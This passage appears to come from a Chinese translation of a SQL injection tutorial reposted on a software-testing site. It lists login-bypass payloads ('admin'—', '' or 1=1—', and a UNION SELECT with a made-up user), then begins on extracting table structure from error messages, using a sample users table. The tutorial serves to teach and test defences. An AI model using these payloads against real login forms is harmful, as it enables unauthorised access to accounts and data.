攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin'—
攻擊者可以使用users表中第一個用戶,輸入如下:
Username:' or 1=1—
更特別地,攻擊者可以使用完全虛構的用戶登陸,輸入如下:
Username:' union select 1,'fictional_user','some_password',1—
這種結果的原因是應用程序相信攻擊者指定的是從數據庫中返回結果的一部分。
通過錯誤消息獲得信息
這個幾乎是David Litchfield首先發現的,并且通過作者滲透測試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯誤消息‘潛在的機制,使讀者能夠完全地了解它,潛在地引發他們的能力。
為了操作數據庫中的數據,攻擊者必須確定某些數據庫和某些表的結構。例如我們可以使用如下語句創建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后將下面的用戶插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我們的攻擊者想插入一個自己的用戶。在不知道users表結構的情況下,他不可能成功。即使他比較幸運,至于privs字段不清楚。攻擊者可能插入一個'1',這樣只給他自己一個低權限的用戶。
文章來源于領測軟件測試網 http://www.kjueaiud.com/